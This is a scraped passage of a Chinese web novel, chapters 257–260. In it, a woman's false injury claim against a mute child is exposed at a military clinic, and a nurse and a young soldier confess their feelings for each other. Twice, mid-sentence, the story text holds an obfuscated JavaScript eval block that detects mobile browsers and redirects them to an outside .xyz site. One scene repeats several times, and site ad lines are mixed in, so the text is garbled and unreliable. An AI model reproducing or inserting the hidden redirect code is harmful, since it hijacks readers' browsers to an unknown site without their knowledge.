“朱莹莹,你少在这儿血口喷人!我好心好意,看孩子们闹别扭,想请舟舟带着小雷小锋一起玩,我说啥难听话了?明明是这小崽子记仇!记恨上次小雷小锋不小心把她关屋里那点小事!存心报复,推我!那么多双眼睛都看着呢!电话室的老张,还有路过的王嫂子、陈嫂子,哪个没瞧见?就是她伸手推的我!” 说着,她便是假模假式的摸着自己的肚子,哭喊道。 “哎哟.我的肚子疼**.肯定是被她推出好歹了!你们必须赔!营养费、误工费、精神损失费,一个子儿都不能少!” “呵,” 周柒柒冷笑一声,“李红娟,你说舟舟推你,还把你推伤了?” 李红娟拍着床板,“千真万确!大家都看见了!小护 士也说我伤的不轻!” “行。” 周柒柒点点头语气干脆看向里间。 “这卫生所就一个小护士值班连个正经医生都没有。她说你伤了我不认谁知道你这‘肚子疼’是真是假?既然你口口声声说伤得重那咱们别在这儿耗着。” 说着她便是朝外努了努下巴。 “走现在就去军区医院!挂急诊做全套检查是伤是病让医院的医生用仪器说话白纸黑字的诊断报告才算数!该我们负责的一分不少赔你可要是查出来你没事.” 周柒柒眼神陡然锐利“那咱们就得好好算算你这讹人的账了!” 这话一出 去军区医院?那还得了? 她本来就是装的最多有点拉扯的闷气哪经得起仪器检查? 万一真查出她没事周柒柒这疯女人绝对能把她告上去! 她眼珠乱转猛地拔高声音色厉内荏地嚷道: “周柒柒!你少在这儿吓唬人!看不起卫生所是吧?你看不起谁呢!” 她指了指里间。 “你知道人家小护士什么来头?人家家里是祖传的中医本事大着呢!只不过年纪轻才在这儿当护士!人家来这几天看病拿药人人都夸好!我就信她!她说我伤了我就是伤了!你说医院?谁知道你是不是想在路上串通医生搞鬼?我哪儿也不去!我就要这小护士给我看!她说的才算数!” “你非要去医院我看你就是做贼心虚!想赖账!” 她一口咬定只认小护士拼命给小护士戴高帽试图把“权威”钉死在这个明显偏帮她的人身上。 里间门帘一掀一个穿着白大褂、脸蛋圆润的年轻护士走了出来。 李红娟一看她出来立马“哎哟哎哟”叫得更大声了捂着肚子在检查床上扭动一边还不忘朝小护士使眼色嘴里嚷嚷: “小护士!你可算来了!快给我看看!这小崽子心狠手辣推我那一下可狠了!我这肚子.哎哟坠得慌一阵阵抽着疼.是不是.是不是要保不住了?” 她声音凄惨句句都在诱导就想让小护士顺着她的话往下说。 小护士没接她的 话茬,径直走到床边,动作麻利地撩开李红娟的衣摆,把冰凉的听诊器头按在她肚子上,侧耳仔细听了听。 李红娟还在那哼哼唧唧地描述“惨状”。 听了一会儿,小护士直起身,一脸困惑地看着李红娟: “红娟姐,你说啥呢?谁说你要流产了?” 她的声音有点奶乎乎的,听着像是小孩子,但语气很肯定, “你这胎心稳得很,跳得咚咚的,比我这低血糖的心跳都稳当。我瞅了半天,你肚子上连个红印子都没有,全身上下,哪儿都没伤着啊!” 李红娟脸上的痛苦表情瞬间僵住了,难以置信地瞪着小护士: “没没事?那你刚才在里面磨蹭那么久干啥?不是给我准备药去了?” 她不死心地追问,觉得肯定是小护士没领会她的意思,又补充道。 “你可得想清楚了再说。” 小护士听了她说的话,更奇怪了: 小说的域名caixs?(请来才 小说 看最新章节 完整章节) “准备啥药啊?我是饿得发慌,忙活一下午没顾上吃饭,有点低血糖,头晕眼花的,刚才是进去找块糖压压。” 她说着,还从白大褂口袋里掏出一颗快要化掉的水果糖晃了晃,证明自己没撒谎。 这实诚劲儿让旁边的周柒柒忍不住“噗嗤”一声笑了出来,她看着小护士那张熟悉的圆脸和迷糊劲儿,笑道: “小圆?你居然是我们这儿新来的小护士?你这小丫头,知道自己有低血糖这个毛病,怎么上班还不按时吃饭?” 小圆刚才一直只关注着眼前的病人,没往外看,闻声猛地转头,看清周柒柒的脸,眼睛“唰”地亮了,惊喜地叫出声: “柒柒姐!真是你啊!哎呀我的天!可算见着你了!我调到这卫生所就想找你呢!结果忙活几天都没见着你!” 她激动得差点把手里的听诊器扔了,几步就跨到周柒柒面前,拉着她的手上下打量,完全忘了床上还有个“病号”。 两个旧相识热络地叙起旧来,朱莹莹也松了口气,舟舟看着小圆阿姨,大眼睛里也少了些紧张。 李红娟被彻底晾在一边,看着眼前这亲热劲儿,脸都气绿了。 她猛地从床上坐起来,指着小圆和周柒柒,嚷嚷着: “好啊!我说你怎么胳膊肘往外拐,一点都不 向着我呢!原来你俩早就认识!是一伙儿的!怪不得睁眼说瞎话!” 她斜着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166311|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛看向袁小圆。 “前几天你这小护士搬东西,重新收拾卫生所,都是我好心,派了保卫科几个兵过来帮忙!那时候你一口一个‘红娟姐姐’叫得那叫一个亲热,装得跟多感激我似的!我还以为你是个好的呢,没想到是跟周柒柒穿一条裤子的!忘恩负义的东西!” 她这通颠倒黑白的职责,把袁小圆气得圆脸通红。 小孩子性子直,直接反驳道: “红娟姐,你这话我听得这么别扭呢!你带保卫科的同志来帮忙,我打心眼里感激,也真心把你当朋友处!可朋友归朋友,看病归看病啊!我总不能因为你帮过我,就昧着良心说你受了伤吧?我刚才还不知道柒柒姐就在外头呢,我就是实话实话!你确实一点儿事儿也没有!” 小圆说着说着,像是突然又想到了什么,下意识拍了拍脑袋,有些懊恼地补充道: “啊不对,硬要说有事的话,也确实有.” 李红娟本来气得够呛,一听这话,眼睛瞬间又亮了,以为小圆终于“开窍”要帮自己圆谎了,赶紧勾着嘴角,一脸期待地看着她,连腰杆都挺直了几分。 只见小圆一本正经地扫了一眼李红娟的肚子,非常认真地开口道。 “你中午吃多了,肚子有点胀气,虽然怀孕了,但是也不能吃那么多,容易消化不良,以后注意点,少吃多餐。” “你你是说我吃撑了????!” 李红娟那点期待彻底僵在脸上,一脸的难堪。 她指着小圆,手指头都在哆嗦,一口气堵在嗓子眼,脸瞬间涨成了猪肝色,想骂,一时又找不到词儿,憋得胸口剧烈欺负,最后只能狠狠从牙缝理挤出两个字,“.放屁!” 说着说着,都想上手去扇小圆。 周柒柒赶忙把小圆往身后拉了拉,看着李红娟那副气急败坏的样子,冷冷开口: “李红娟,你这翻脸的速度,比翻书还快呢?刚才不是还口口声声说,除了小护士的话,你谁都不信吗?怎么,现在小护士说了真话,你又不信了?还骂起人来了?” 她顿了顿,眼神锐利, “行啊,既然你不信小圆,也不信这卫生所,那咱们现在就去军区 医院,我亲自陪你去做检查,从头到脚,仔仔细细查一遍!要是真查出来个好歹,所有医药费、营养费,我周柒柒一分不少全认!但要是啥事没有. 周柒柒盯着李红娟瞬间躲闪的眼睛,一字一句道: “你就在咱军区广播上,亲自给我家舟舟道歉。 李红娟脸上红一阵,白一阵的。 去军区医院?那不是自投罗网吗? 她当然知道,自己屁事没有,就是跟小护士说的那样,中午吃多了,有点撑得慌! 可让她李红娟就这么认栽了,她又咽不下这口气。 “哼! 她哼了一声,也不捂着肚子装疼了,从床上下来,摆了摆手道: “算了!我大人有大量,不跟你一般见识!我没那闲工夫去医院! 她话锋一转,矛头再次指向一直安静站在周柒柒旁边的舟舟: “但是,你家这小哑巴推我,这也是板上钉钉的事实!路过的好几个军嫂都看见了!这个你赖不掉,就让她在这儿跟我道个歉,这事儿就算了! 她挺着自己的肚子,下巴抬得老高: “小哑巴不会说话,你这个当婶婶的替她道歉也行。 她打定主意,就算讹不到钱,也要让周柒柒和这小哑巴当众丢脸,挽回一点面子。 第258章 一家人,说啥两家话! 这个李红娟,脸皮可真够厚的。 仗着自己大着肚子,就认为全世界都要让着她,在这儿玩以退为进。 周柒柒才不吃她这一套呢,正准备开口回怼,还没说话,就见卫生所门口光线一暗,雷玉华风风火火地闯了进来。 她在院子里,把李红娟刚才说的那些都听得一清二楚,笑道。 “哟,红娟姐,这么热闹?你说有好几个军嫂看见舟舟推你了?是哪几位军嫂? 李红娟看见雷玉华,下意识就把对方当作自己的帮手,挤出个笑容道: “玉华妹子来了?可不是嘛,就王嫂子、陈嫂子她们都能给我作证! 雷玉华嘴角勾起一个笑容。 “是吗?她们都看到你‘哎呦’一声倒在地上,是吧? “可不. 李红娟忙不迭地点头。 但雷玉华没等她说两个字,直接就截断话头,她嘴角噙着一丝了然的笑意,眼神却锐利, “巧了,我也帮你问到了几个‘证人’,电话室旁边就是军区大门,几班岗亭交叉着。 她往前一步,气势迫人: “我问了今天当值的几个兵哥哥,人家交叉视线看得清清楚楚!是你李红娟先骂骂咧咧,上手就拽小舟舟!小姑娘被你扯得差点倒在地上!是你自己用力过猛没站稳,才倒在地上,而且还想拉着舟舟做垫背!几个人角度不同,但都说得板上钉钉,是你先动得手!是你找得孩子麻烦!是那几个嫂子后脚才到,只瞧见你躺在地上哪一出,没瞧见前面发生的那些 李红娟脸色“唰 她本来是没打算搞这一出的,是看见那几个军嫂过来,临时起意。 就想着那几个军嫂能帮她作证,把岗亭那些当兵的给忘了! 那些兵蛋子个个耿直,可不看到什么说什么嘛! 她眼珠子慌乱地转着,还想挣扎,强堆起亲热劲儿凑近雷玉华,压低了声音: “玉华!好妹子!你替那个周柒柒说话干啥?你忘了?就是她!害得周主任工作丢了,现在搞得雷政委也跟着受牵连,她祸害了你们一家子!你可不能胳膊肘往外拐,向着她啊! 她挤了挤眼睛,“你就当不知道这事儿,我来让她丢脸! “胳膊肘往外拐? 雷玉华像是听到了天大的笑话,双手叉腰,脸上都憋不住笑: “李红娟,你听清楚了,周柒柒她是我表妹!是我妈的亲侄女!是周家的失散二十多年的骨血!我不向着她说话,难道向着你这个满嘴胡吣、栽赃陷害的说话?我要是真向着你说话,才是胳膊肘往外拐呢! 这话如同平地一声惊雷,炸得李红娟眼珠子都瞪出来了,嘴巴张得能塞进个鸡蛋,磕磕巴巴问道: “什么.?侄女?亲生的?真.真的假的? “废话! 雷玉华下巴一扬,斩钉截铁, “我们一家子这个礼拜出去干嘛的?就是寻亲去的!那还能有假?从今往后,周柒柒就是我雷玉华的亲表妹,我罩着她!那个不长眼的敢欺负她、算计她,都得提前掂量掂量自己几斤几两! 李红娟彻底懵了,脑子嗡嗡作响。 一个周柒柒就已经够泼辣难缠得了,现在背后还杵着雷政委一家子! 周淑华本来可是周柒柒的“死对头,现在摇身一变,变成了周柒柒的亲姑姑?! 这还怎么斗? “我我.我惹不起你们,我走还不行嘛? 她慌乱地摆着手,就想往门口溜。 “站住! 雷玉华眼疾手快,一把拽住她胳膊,“想溜?没门儿!污蔑了孩子,就想这么算了?赶紧给我道歉! 李红娟被拽得一个趔趄,又急又臊,脸上青一阵白一阵的。 让她给那个小哑巴低头道歉?这比杀了她还难受! 她眼珠子一转,猛地姜身后的小雷、小锋两个小子往前一拽: “道道歉!快!给舟舟妹妹道歉!都是你们两个惹出来的祸!要不是你们瞎告状,说舟舟欺负你们,我能误会嘛?我能去拉扯她吗?快道歉! 两个孩子被她推得踉跄,看着一屋子大人冰冷的亮色,吓得哇哇大哭,抽抽噎噎地对着舟舟含糊不清得说着“对不起。 雷玉华眉头紧锁,对这种拿孩子顶缸的行为厌恶至极: “李红娟!你少来这套!孩子不懂事,根源在你这个当后妈的!要道歉也是你! 李红娟才不乐意道歉呢,她掐了一把孩子,推搡道。 “快!道歉!道到你们玉华婶婶满意为止!” 这女人是真不把孩子当回事那一把掐得孩子胳膊瞬间红了周柒柒看得刺眼。 “算了。” 她轻轻拉了一下雷玉华的衣袖说道。 “她这种人跟她扯这些没用就算逼得她嘴上认了错 还有一句话她没明说。 按照李红娟的性子要是真逼她做了什么回去遭罪的还是小雷、小锋这两个娃娃。 她实在是懒得再跟这种人耗费心神有这功夫还不如赶紧看看舟舟的伤。 袁小圆也在一边附和道。 “对对对柒柒姐姐说得对!跟这种人掰扯不清白费力气!快让我看看舟舟的手!” 众人的目光全都看向舟舟李红娟松了一口气赶紧拽着两个孩子灰溜溜地走了。 小圆拿了棉签蘸了颠覆给舟舟消毒。 药水刺激伤口小女孩痛得小脸皱成一团倒吸了一口冷气却硬是没掉眼泪。 上完药她抬起湿漉漉的大眼睛看了看刚才替她说话的雷玉华又看了看小圆。 无声地动了动嘴巴清晰地做出了两个口型“谢谢.谢谢” 看着小姑娘隐忍又懂事的模样两个年轻姑娘心软得一塌糊涂恨不得把世界上所有的好东西都捧到她面前。 周柒柒看着舟舟眼神也柔和了下来她也看向雷玉华真诚地道谢:“谢谢。” 雷玉华摆摆手爽朗一笑“嗨一家人说啥两家话!” “刚才正好小王过去传话说我妈打电话过来还问你到家没我听小王说刚才出事了撂下电话就跑过来了你没受欺负就行!” 小圆一边给舟舟递了一颗奶糖一边笑嘻嘻地插嘴 “柒柒姐才不会受欺负呢她最厉害了刚才那气势几句话就把对方怼得脸都绿了!” 这话引得朱莹莹和雷玉华都忍不住笑了起来刚才沉重的气氛一扫而空。 朱莹莹看了看天色提醒道 “哎呀我在食堂打的饭菜还在家里呢再不吃要凉透了!柒柒舟舟这伤口也处理好了咱们赶紧回去吧?你这寻 亲咋回事回去边吃边说呗。” 她已经好奇地不得了柒柒怎么忽然变成周主任的侄女了。 周柒柒点了点头对着小圆笑道。 “小圆今天麻烦你了今天我刚回来改明儿请你来我家吃饭。” “好嘞柒柒姐!” 小圆高兴地应下。 说完周柒柒拉着舟舟和莹莹就先走了。 雷玉华看着她们离去的背影也正准备离开卫生所呢。 忽然一个高大的身影从门口“噌”地窜进来差点跟她撞个满怀! “哎呦我的妈!” 雷玉华吓得往后一蹦定睛一看 “雷鸣?你小子走路不长眼啊?!吓**不偿命!” 她拍着胸口顺气没好奇地等着自己这个神出鬼没的表弟 “稀奇啊你小子平时三催四清都不回军属区一趟这会儿爹妈都不在你倒是冒出来了?” 她说完立马瞪大了眼睛 “我知道了你小子这是知道柒柒回来了就眼巴巴跑过来了?相见人家一面啧啧你对柒柒可真够上心的!” 她促狭地挤挤眼故意拖长了调子:“用情至深呐!不过嘛——” 她话锋一转带点幸灾乐祸的惋惜 “可惜咯你眼光好是好对柒柒这么顶顶好的女强人一见钟情可惜人家名花有主了不过也幸好人家名花有主了 “亲戚?什么亲戚?” 雷鸣被她劈头盖脸一顿说听得一头雾水 “姐你胡说八道什么呢?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 亲咋回事回去边吃边说呗。” 她已经好奇地不得了柒柒怎么忽然变成周主任的侄女了。 周柒柒点了点头对着小圆笑道。 “小圆今天麻烦你了今天我刚回来改明儿请你来我家吃饭。” “好嘞柒柒姐!” 小圆高兴地应下。 说完周柒柒拉着舟舟和莹莹就先走了。 雷玉华看着她们离去的背影也正准备离开卫生所呢。 忽然一个高大的身影从门口“噌”地窜进来差点跟她撞个满怀! “哎呦我的妈!” 雷玉华吓得往后一蹦定睛一看 “雷鸣?你小子走路不长眼啊?!吓**不偿命!” 她拍着胸口顺气没好奇地等着自己这个神出鬼没的表弟 “稀奇啊你小子平时三催四清都不回军属区一趟这会儿爹妈都不在你倒是冒出来了?” 她说完立马瞪大了眼睛 “我知道了你小子这是知道柒柒回来了就眼巴巴跑过来了?相见人家一面啧啧你对柒柒可真够上心的!” 她促狭地挤挤眼故意拖长了调子:“用情至深呐!不过嘛——” 她话锋一转带点幸灾乐祸的惋惜 “可惜咯你眼光好是好对柒柒这么顶顶好的女强人一见钟情可惜人家名花有主了不过也幸好人家名花有主了你俩啊是亲戚!得亏人家当初没看上你要真看上了 “亲戚?什么亲戚?” 雷鸣被她劈头盖脸一顿说听得一头雾水 “姐你胡说八道什么呢?” 你的朋友正在书荒,快去帮帮他吧 亲咋回事回去边吃边说呗。” 她已经好奇地不得了柒柒怎么忽然变成周主任的侄女了。 周柒柒点了点头对着小圆笑道。 “小圆今天麻烦你了今天我刚回来改明儿请你来我家吃饭。” “好嘞柒柒姐!” 小圆高兴地应下。 说完周柒柒拉着舟舟和莹莹就先走了。 雷玉华看着她们离去的背影也正准备离开卫生所呢。 忽然一个高大的身影从门口“噌”地窜进来差点跟她撞个满怀! “哎呦我的妈!” 雷玉华吓得往后一蹦定睛一看 “雷鸣?你小子走路不长眼啊?!吓**不偿命!” 她拍着胸口顺气没好奇地等着自己这个神出鬼没的表弟 “稀奇啊你小子平时三催四清都不回军属区一趟这会儿爹妈都不在你倒是冒出来了?” 她说完立马瞪大了眼睛 “我知道了你小子这是知道柒柒回来了就眼巴巴跑过来了?相见人家一面啧啧 她促狭地挤挤眼故意拖长了调子:“用情至深呐!不过嘛——” 她话锋一转带点幸灾乐祸的惋惜 “可惜咯你眼光好是好对柒柒这么顶顶好的女强人一见钟情可惜人家名花有主了不过也幸好人家名花有主了你俩啊是亲戚!得亏人家当初没看上你要真看上了那才叫乱套呢 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“我知道了,你小子这是知道柒柒回来了,就眼巴巴跑过来了?相见人家一面,啧啧,你对柒柒可真够上心的! 她促狭地挤挤眼,故意拖长了调子:“用情至深呐!不过嘛—— 她话锋一转,带点幸灾乐祸的惋惜, “可惜咯,你眼光好是好,对柒柒这么顶顶好的女强人一见钟情,可惜人家名花有主了,不过也幸好人家名花有主了,你俩啊,是亲戚!得亏人家当初没看上你,要真看上了,那才叫乱套呢!你趁早把你那份心思收收,歇了吧! “亲戚?什么亲戚? 雷鸣被她劈头盖脸一顿说,听得一头雾水, “姐,你胡说八道什么呢? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 亲咋回事回去边吃边说呗。” 她已经好奇地不得了柒柒怎么忽然变成周主任的侄女了。 周柒柒点了点头对着小圆笑道。 “小圆今天麻烦你了今天我刚回来改明儿请你来我家吃饭。” “好嘞柒柒姐!” 小圆高兴地应下。 说完周柒柒拉着舟舟和莹莹就先走了。 雷玉华看着她们离去的背影也正准备离开卫生所呢。 忽然一个高大的身影从门口“噌”地窜进来差点跟她撞个满怀! “哎呦我的妈!” 雷玉华吓得往后一蹦定睛一看 “雷鸣?你小子走路不长眼啊?!吓**不偿命!” 她拍着胸口顺气没好奇地等着自己这个神出鬼没的表弟 “稀奇啊你小子平时三催四清都不回军属区一趟这会儿爹妈都不在你倒是冒出来了?” 她说完立马瞪大了眼睛 “我知道了你小子这是知道柒柒回来了就眼巴巴跑过来了?相见人家一面啧啧你对柒柒可真够上心的!” 她促狭地挤挤眼故意拖长了调子:“用情至深呐!不过嘛——” 她话锋一转带点幸灾乐祸的惋惜 “可惜咯你眼光好是好对柒柒这么顶顶好的女强人一见钟情可惜人家名花有主了不过也幸好人家名花有主了你俩啊是亲戚!得亏人家当初没看上你要真看上了那才叫乱套呢!你趁早把你那份心思收收歇了吧!” “亲戚?什么亲戚?” 雷鸣被她劈头盖脸一顿说听得一头雾水 “姐你胡说八道什么呢?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 亲咋回事,回去边吃边说呗。” 她已经好奇地不得了,柒柒怎么忽然变成周主任的侄女了。 周柒柒点了点头,对着小圆笑道。 “小圆,今天麻烦你了,今天我刚回来,改明儿请你来我家吃饭。” “好嘞,柒柒姐!” 小圆高兴地应下。 说完周柒柒拉着舟舟,和莹莹就先走了。 雷玉华看着她们离去的背影,也正准备离开卫生所呢。 忽然,一个高大的身影从门口“噌”地窜进来,差点跟她撞个满怀! “哎呦我的妈!” 雷玉华吓得往后一蹦,定睛一看, “雷鸣?你小子,走路不长眼啊?!吓**不偿命!” 她拍着胸口顺气,没好奇地等着自己这个神出鬼没的表弟, “稀奇啊,你小子,平时三催四清,都不回军属区一趟,这会儿爹妈都不在,你倒是冒出来了?” 她说完,立马瞪大了眼睛, “我知道了,你小子这是知道柒柒回来了,就眼巴巴跑过来了?相见人家一面,啧啧,你对柒柒可真够上心的!” 她促狭地挤挤眼,故意拖长了调子:“用情至深呐!不过嘛——” 她话锋一转,带点幸灾乐祸的惋惜, “可惜咯,你眼光好是好,对柒柒这么顶顶好的女强人一见钟情,可惜人家名花有主了,不过也幸好人家名花有主了,你俩啊,是亲戚!得亏人家当初没看上你,要真看上了,那才叫乱套呢!你趁早把你那份心思收收,歇了吧!” “亲戚?什么亲戚?” 雷鸣被她劈头盖脸一顿说,听得一头雾水, “姐,你胡说八道什么呢?” 你的朋友正在书荒,快去帮帮他吧 第259章 我有信心! “哎呀,这事儿说来话长!” 雷玉华一把拽住他的胳膊,风风火火地就要拉他走, “走走走,回家!路上我慢慢跟你掰扯!咱们这趟去村里,可挖出个大秘密!” 她想起什么,又改口, “啊,不对,咱们先去一趟电话室,给我妈回个电话去,她这会儿估计还在村委会电话哪儿等着呢,你顺便也跟她们说几句。” 雷鸣被她拽得一个趔趄,眼神却黏在卫生所门口那个圆乎乎的身影上。 袁小圆显然感觉到了他的视线,却故意别过头去,留给他一个冷淡的后脑勺,手里的动作也没停,把玻璃瓶罐碰得叮当响。 雷鸣张了张嘴,喉咙里像堵了一团面棉花,想喊又不敢喊,急得额头都冒了汗。 雷玉华多精的人啊,一眼就瞧出弟弟不对劲。 她顺着雷鸣的目光看过去,落在小圆身上,眉毛一挑, “咋了这是?你认识人家小护士啊?找人家有事儿?” 雷鸣被她问得一愣,下意识摇头,“没、没有,不认识,我是来找你的,姐,咱们走吧。” 话一说出口,他自己都觉得干巴巴的没底气。 卫生所门口,袁小圆的身影明显僵了一下,随即头也不回地快步走进了屋里,那背影里透着一股说不出的失落。 雷鸣心里像是被扎了一下,想追上去解释,可胳膊还被雷玉华牢牢拽着。 雷玉华哪儿知道他心里的弯弯绕绕,不由分说地把人给拽走了。 土路上没什么人,只有姐弟俩的脚步声。雷玉华嘴就没停过,把这几天在许家村的惊心动魄、恩怨纠葛,竹筒倒豆子似的全说了。 说到周柒柒竟然是自家如假包换的亲表妹时,她自己仍觉得不可思议。 雷鸣一开始,有些心不在焉,听到这些,心思也慢慢回来了,感慨道: “原来是这样,我之前说婶婶会后悔,没想到真应验了” “可不是嘛?!所以说这世上的缘分,谁说得准呢。” 雷玉华感慨了一句,忽然想起什么,扭头问: “对了,你小子,怎么忽然跑回军属区了?单位没事了?还是” 周淑华几乎是把雷鸣当亲儿子带的,雷玉华跟他更是从小一起长大 ,对他了解得很。 这小子平时三请四催都不乐意回来,今天主动现身,肯定有猫腻。 雷鸣脸上掠过一丝不自然,含糊道:“没没啥事。 雷玉华眯起眼,带点警告意味, “别是真被我说中了,真是冲着柒柒妹妹来的吧?人家柒柒现在幸福的很,我可警告你,别动歪心思,不然我妈第一个饶不了你! “姐你说啥呢! 雷鸣脸腾地红了,急忙辩解,“我不是来看周柒柒的!我都不知道她啥时候回来! 正好走到电话室门口,雷玉华一边掏电话票,一边斜睨着他,女人的直觉让她福至心灵,猛地压低声音: “那你.不会是谈对象了吧?对象.是刚才那个小圆护士? 她越想越觉得可能,刚才两人之间那点不自在可有意思了。 雷鸣一听,像是被踩了电门,连连摆手: “不是不是!姐你可别瞎说! 正好这时电话好像接通了,他赶紧闭嘴,示意姐姐快打电话。 电话那头果然是周淑华,急切地问着周柒柒到家没、路上顺不顺利、有没有再受委屈,絮絮叨叨,全是牵挂。 雷玉华笑着应和,把刚才李红娟那场闹剧简单说了,重点突出了周柒柒如何大获全胜以及自己如何英明神武地镇场子。 雷鸣在一旁竖着耳朵听,心里还存着点习惯性的期待。 以前这种家庭电话,婶婶总会重点问问他怎么样了,吃没吃饭,絮叨几句。 可直到电话挂断,周淑华一句都没问起他。 他心里莫名空了一下,有点不习惯,忍不住嘀咕: “姐,婶婶她没问我啊? 雷玉华放下电话,看着他有点失落的样子,扑哧笑了, “傻小子!以前我妈拿是把你当成是舅舅了,恨不得把心都掏给你,管你管得那么严,现在舅舅有下落了,人家有了亲侄女,那颗心啊,全扑在柒柒身上了,哪儿还顾得上你? 雷鸣先是一愣,随即眼睛倏地亮了起来。 十几年来,婶婶对他的关心,可以说是“密不透风,他身边出现的任何人和事,都要严格审查,百般挑剔,尤其是女孩子,让他着实有点喘不过气。 他身边的 那些朋友,可没少遭难,尤其是女孩子。 现在这是解脱了? “真的?” 他有点不敢相信。 “当然是真的了!你小子现在自由了!” 雷玉华拍了他肩膀一下,打趣道。 “自由了” 雷鸣喃喃重复着,嘴角抑制不住向上翘。 下一秒,他像是忽然想起什么,猛地跳了起来, “姐,你自己先回家!我要回一趟卫生所!” 话音未落,人已经一阵风地冲了出去,眨眼就没影儿了。 雷玉华被他这突如其来的动作弄得一愣,随即看着弟弟火烧屁股似的背影,又看看卫生所的方向,若有所思地摸了摸下巴,随即露出一丝了然又促狭地笑。 卫生所里,小圆正收拾着桌上的瓶瓶罐罐,准备下班。 听见急促的脚步声去而复返,她抬头一看是雷鸣,一张圆脸立刻绷紧了,语气硬邦邦的, “柒柒姐已经走了,你又来干什么?” 雷鸣跑得有点喘,站在门口,看着小圆冷淡的样子,心里又急又慌。 刚才他之所以没在表姐雷玉华面前承认,就是怕婶婶知道了之后,对小圆挑三拣四,伤害到她。 现在知道婶婶的心结已经解开了,心思也不在他身上了,那股憋着的劲儿就再也压不住了。 “我不是来找周柒柒的,我就是来找你的!” 他急声道, “上次说好.过几天请你吃饭的,火车延误了,临时多上了两天班.刚才我就想告诉你了,但是被我姐拽走了” 他语速飞快,生怕小圆不信。 小圆手里捏着个玻璃药瓶,闻言动作顿了顿,垂下眼睫,“哦。” 她的声音还是冷冰冰的,没什么温度,“我现在没心情吃饭了,没事的话,你先走吧。” “有事!有事!” 雷鸣见她还是那副拒人千里之外的样子,更急了,笨手笨脚的伸出右手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170179|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食指, “我手受伤了!你帮我看看!” 小圆一听受伤,职业本能让她立刻紧张起来,也顾不上生气了,几步走过来, “哪儿?我看看!” 她抓起雷鸣的手指,凑到眼前仔细检查。 半晌,抬起头,看着雷鸣那张写满真诚与紧张的脸,又好气又好笑道, “雷鸣同志,幸亏你卫生所来得及时。” “啊?” 雷鸣没反应过来,还以为手上有什么严重伤口自己没发现呢。 “就你这伤,再晚点来,” 小圆忍着笑,一本正经地说,“就自己愈合了。” 雷鸣的脸“腾”地一下红到了耳根,窘迫地挠了挠后脑勺,嘿嘿傻笑了两声,不知道该说什么好。 小圆看着他这副手足无措的傻样,紧绷着的小脸终于绷不住了,“扑哧”一声,笑了出来。 这一笑,刚才那点别扭和委屈也散了大半。 她故意板起脸,揶揄道,“原来你喜欢柒柒姐姐啊?” “不是!没有!你别听我姐瞎说!” 雷鸣急得差点跳起来,语无伦次地解释着, “那都是以前!很早以前的事情了!上次好像都两三个月前了,在柒柒姐家吃过一顿火锅后,我就.我就” 想起拿回吃火锅时候的场景,他憋了半天,脸涨得通红, “我就对周柒柒同志,就一点想法都没有了!真的!绝对是真的!” 他急吼吼的解释,生怕小圆误会。 小圆看他急得额头冒汗的样子,心里那点小小的酸涩彻底没了。 她摆摆手,打断他: “行了行了,你别解释了,人家柒柒姐有沈团长呢,人家两个人郎才女貌,都那么厉害,肯定看不上你。” 她顿了顿,看着雷鸣给的眼睛,声音忽然轻快了起来,带着点小小的狡黠, “再说了,就算你现在还喜欢柒柒姐,那也没什么,她那么优秀,喜欢她也是人之常情” 雷鸣被她这转折弄得有点懵:“啊?” 小圆微微扬起下巴,脸颊染上一层淡淡的红晕,眼神却亮晶晶的, “我这个人呢,喜欢什么东西,就会努力去追!就算你现在还喜欢柒柒姐,但未来也一定会喜欢上我的!我有信心!” 说的时候,她满嘴都是不服输,但一说完,就有点害羞了,下意识地抬手理了理耳边的碎发。 雷鸣彻底愣住了,感觉脑袋好像忽然被雷劈中一样,傻傻地看着小圆。 过了好几秒,他才猛地回过神,巨大的惊喜瞬间冲昏了头脑,声音颤抖着确认道, “你你刚才说你喜欢我?” 小圆被他直白的反问弄得更加不好意思,但还是强撑着,梗着脖子反问, “对啊!怎么了?不行啊?” “行行行!当然行!” 雷鸣激动得差点原地蹦起来,脸上笑开了花,随即又想起什么,连忙摆手。 “不不不!也不行!应该是我先说的,这种事情,怎么能让女同志先开口呢!小圆,我.我喜欢你!从上次在雨夜里第一次见到你的时候,我就喜欢上你了!” 他鼓足了勇气,终于把这句话吼了出来,声音响亮得他自己都吓了一跳。 第260章 离什么婚! 小圆被他这突如其来的大吼弄得又羞又喜心跳快得像擂鼓手里刚拿起来的铝盒“哐当”一声掉在地上里面的棉签、纱布撒了一地。 “哎呀!” 两人同时惊呼赶紧蹲下去捡。 狭窄的空间里两只手同时伸向滚到角落的一卷纱布指尖不经意地碰到了一起。 一股细微的电流瞬间蹿过两人都像被烫到似的飞快地缩回了手。 空气里弥漫着一种甜蜜又尴尬的安静。 小圆只觉得脸颊滚烫心跳快得让她有点发晕下意识地扶了一下旁边的桌子。 “怎么了?” 雷鸣立刻紧张起来也顾不上害羞了伸手想去扶她 “是不是哪里不舒服?我送你去军区医院!” 小圆摆摆手声音有点虚 